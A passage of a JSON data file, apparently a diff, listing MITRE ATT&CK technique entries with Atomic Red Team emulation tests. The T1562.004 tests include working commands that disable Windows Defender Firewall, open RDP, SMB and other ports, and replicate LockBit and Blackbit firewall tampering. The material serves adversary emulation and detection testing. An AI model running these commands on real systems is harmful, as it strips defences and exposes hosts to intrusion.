Content" - ], - "x_mitre_permissions_required": [ - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1009": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Martin Jirkal, ESET" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", - "type": "attack-pattern", - "created": "2017-05-31T21:30:22.096Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1009", - "url": "https://attack.mitre.org/techniques/T1009" - }, - { - "external_id": "CAPEC-572", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/572.html" - }, - { - "source_name": "ESET OceanLotus", - "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", - "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" - }, - { - "source_name": "Securelist Malware Tricks April 2017", - "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/", - "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019." - }, - { - "source_name": "VirusTotal FAQ", - "url": "https://www.virustotal.com/en/faq/", - "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019." - } - ], - "modified": "2020-09-17T18:25:33.796Z", - "name": "Binary Padding", - "description": "Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.\n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)\n", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Signature-based detection", - "Anti-virus" - ] - }, - "atomic_tests": [] - }, - "T1550": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Office 365", - "SaaS", - "Google Workspace", - "IaaS", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814", - "type": "attack-pattern", - "created": "2020-01-30T16:18:36.873Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1550", - "url": "https://attack.mitre.org/techniques/T1550" - }, - { - "source_name": "NIST Authentication", - "url": "https://csrc.nist.gov/glossary/term/authentication", - "description": "NIST. (n.d.). Authentication. Retrieved January 30, 2020." - }, - { - "source_name": "NIST MFA", - "url": "https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication", - "description": "NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020." - }, - { - "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx", - "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", - "source_name": "TechNet Audit Policy" - } - ], - "modified": "2022-04-01T12:57:34.058Z", - "name": "Use Alternate Authentication Material", - "description": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "lateral-movement" - } - ], - "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Web Credential: Web Credential Usage", - "Active Directory: Active Directory Credential Request", - "Logon Session: Logon Session Creation", - "Application Log: Application Log Content", - "User Account: User Account Authentication" - ], - "x_mitre_defense_bypassed": [ - "System Access Controls" - ] - }, - "atomic_tests": [] - }, - "T1181": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0", - "type": "attack-pattern", - "created": "2018-01-16T16:13:52.465Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1181", - "url": "https://attack.mitre.org/techniques/T1181" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx", - "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.", - "source_name": "Microsoft Window Classes" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx", - "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.", - "source_name": "Microsoft GetWindowLong function" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx", - "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.", - "source_name": "Microsoft SetWindowLong function" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", - "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.", - "source_name": "MalwareTech Power Loader Aug 2013" - }, - { - "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/", - "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.", - "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx", - "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.", - "source_name": "Microsoft SendNotifyMessage function" - } - ], - "modified": "2020-11-10T18:29:30.479Z", - "name": "Extra Window Memory Injection", - "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Host intrusion prevention systems", - "Data Execution Prevention" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1562.004": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", - "type": "attack-pattern", - "created": "2020-02-21T21:00:48.814Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1562.004", - "url": "https://attack.mitre.org/techniques/T1562/004" - } - ], - "modified": "2020-03-29T22:18:11.166Z", - "name": "Impair Defenses: Disable or Modify System Firewall", - "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Firewall: Firewall Rule Modification", - "Firewall: Firewall Disable", - "Windows Registry: Windows Registry Key Modification" - ], - "x_mitre_defense_bypassed": [ - "Firewall" - ], - "identifier": "T1562.004" - }, - "atomic_tests": [ - { - "name": "Disable Microsoft Defender Firewall", - "auto_generated_guid": "88d05800-a5e4-407e-9b53-ece4174f197f", - "description": "Disables the Microsoft Defender Firewall for the current profile.\nCaution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "netsh advfirewall set currentprofile state off\n", - "cleanup_command": "netsh advfirewall set currentprofile state on >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Disable Microsoft Defender Firewall via Registry", - "auto_generated_guid": "afedc8c4-038c-4d82-b3e5-623a95f8a612", - "description": "Disables the Microsoft Defender Firewall for the public profile via registry\nCaution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v \"EnableFirewall\" /t REG_DWORD /d 0 /f\n", - "cleanup_command": "reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v \"EnableFirewall\" /t REG_DWORD /d 1 /f\n", - "name": "command_prompt" - } - }, - { - "name": "Allow SMB and RDP on Microsoft Defender Firewall", - "auto_generated_guid": "d9841bf8-f161-4c73-81e9-fd773a5ff8c1", - "description": "Allow all SMB and RDP rules on the Microsoft Defender Firewall for all profiles.\nCaution if you access remotely the host where the test runs! Especially with the cleanup command which will reset the firewall and risk disabling those services...\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "netsh advfirewall firewall set rule group=\"remote desktop\" new enable=Yes\nnetsh advfirewall firewall set rule group=\"file and printer sharing\" new enable=Yes\n", - "cleanup_command": "netsh advfirewall reset >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Opening ports for proxy - HARDRAIN", - "auto_generated_guid": "15e57006-79dd-46df-9bf9-31bc24fb5a80", - "description": "This test creates a listening interface on a victim device. This tactic was used by HARDRAIN for proxying.\n\nreference: https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "netsh advfirewall firewall add rule name=\"atomic testing\" action=allow dir=in protocol=TCP localport=450 \n", - "cleanup_command": "netsh advfirewall firewall delete rule name=\"atomic testing\" protocol=TCP localport=450 >nul 2>&1", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Open a local port through Windows Firewall to any profile", - "auto_generated_guid": "9636dd6e-7599-40d2-8eee-ac16434f35ed", - "description": "This test will attempt to open a local port defined by input arguments to any profile", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "local_port": { - "description": "This is the local port you wish to test opening", - "type": "integer", - "default": 3389 - } - }, - "executor": { - "command": "netsh advfirewall firewall add rule name=\"Open Port to Any\" dir=in protocol=tcp localport=#{local_port} action=allow profile=any", - "cleanup_command": "netsh advfirewall firewall delete rule name=\"Open Port to Any\" | Out-Null", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Allow Executable Through Firewall Located in Non-Standard Location", - "auto_generated_guid": "6f5822d2-d38d-4f48-9bfc-916607ff6b8c", - "description": "This test will attempt to allow an executable through the system firewall located in the Users directory", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "exe_file_path": { - "description": "path to exe file", - "type": "path", - "default": "PathToAtomicsFolder\\T1562.004\\bin\\AtomicTest.exe" - } - }, - "executor": { - "command": "Copy-Item #{exe_file_path} -Destination \"C:\\Users\\$env:UserName\" -Force\nnetsh advfirewall firewall add rule name=\"Atomic Test\" dir=in action=allow program=\"C:\\Users\\$env:UserName\\AtomicTest.exe\" enable=yes\n", - "cleanup_command": "netsh advfirewall firewall delete rule name=\"Atomic Test\" | Out-Null\nRemove-Item C:\\Users\\$env:UserName\\AtomicTest.exe -ErrorAction Ignore\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "LockBit Black - Unusual Windows firewall registry modification -cmd", - "auto_generated_guid": "a4651931-ebbb-4cde-9363-ddf3d66214cb", - "description": "An adversary tries to modify the windows firewall registry\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile\" /v EnableFirewall /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile\" /v EnableFirewall /t REG_DWORD /d 0 /f\n", - "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile\" /v EnableFirewall /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile\" /v EnableFirewall /f >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "LockBit Black - Unusual Windows firewall registry modification -Powershell", - "auto_generated_guid": "80b453d1-eec5-4144-bf08-613a6c3ffe12", - "description": "An adversary tries to modify the windows firewall registry.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "New-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile\" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile\" -Name EnableFirewall -PropertyType DWORD -Value 0 -Force\n", - "cleanup_command": "Remove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\DomainProfile\" -Name EnableFirewall -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\WindowsFirewall\\StandardProfile\" -Name EnableFirewall -Force -ErrorAction Ignore\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Blackbit - Disable Windows Firewall using netsh firewall", - "auto_generated_guid": "91f348e6-3760-4997-a93b-2ceee7f254ee", - "description": "An adversary tries to modify the windows firewall configuration using the deprecated netsh firewall command (command still works). \n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "netsh firewall set opmode mode=disable\n", - "cleanup_command": "netsh firewall set opmode mode=enable >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1152": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1152", - "url": "https://attack.mitre.org/techniques/T1152" - }, - { - "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", - "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", - "source_name": "Sofacy Komplex Trojan" - } - ], - "modified": "2020-03-10T18:31:00.336Z", - "name": "Launchctl", - "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Application whitelisting", - "Process whitelisting", - "Whitelisting by file name or path" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1553.003": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Matt Graeber, @mattifestation, SpecterOps" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc", - "created": "2020-02-05T19:34:04.910Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1553.003", - "url": "https://attack.mitre.org/techniques/T1553/003" - }, - { - "source_name": "Entrust Enable CAPI2 Aug 2017", - "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165", - "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018." - }, - { - "source_name": "GitHub SIP POC Sept 2017", - "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage", - "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018." - }, - { - "source_name": "SpectorOps Subverting Trust Sept 2017", - "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", - "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018." - }, - { - "source_name": "Microsoft Catalog Files and Signatures April 2017", - "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files", - "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018." - }, - { - "source_name": "Microsoft Audit Registry July 2012", - "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)", - "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018." - }, - { - "source_name": "Microsoft Registry Auditing Aug 2016", - "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)", - "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018." - }, - { - "source_name": "Microsoft Authenticode", - "url": "https://msdn.microsoft.com/library/ms537359.aspx", - "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018." - }, - { - "source_name": "Microsoft WinVerifyTrust", - "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx", - "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018." - }, - { - "source_name": "EduardosBlog SIPs July 2008", - "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/", - "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)", - "modified": "2022-05-05T04:58:58.214Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "SIP and Trust Provider Hijacking", - "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Module: Module Load", - "File: File Modification", - "Windows Registry: Windows Registry Key Modification" - ], - "x_mitre_defense_bypassed": [ - "Autoruns Analysis", - "Digital Certificate Validation", - "User Mode Signature Validation", - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1207": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Vincent Le Toux" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": 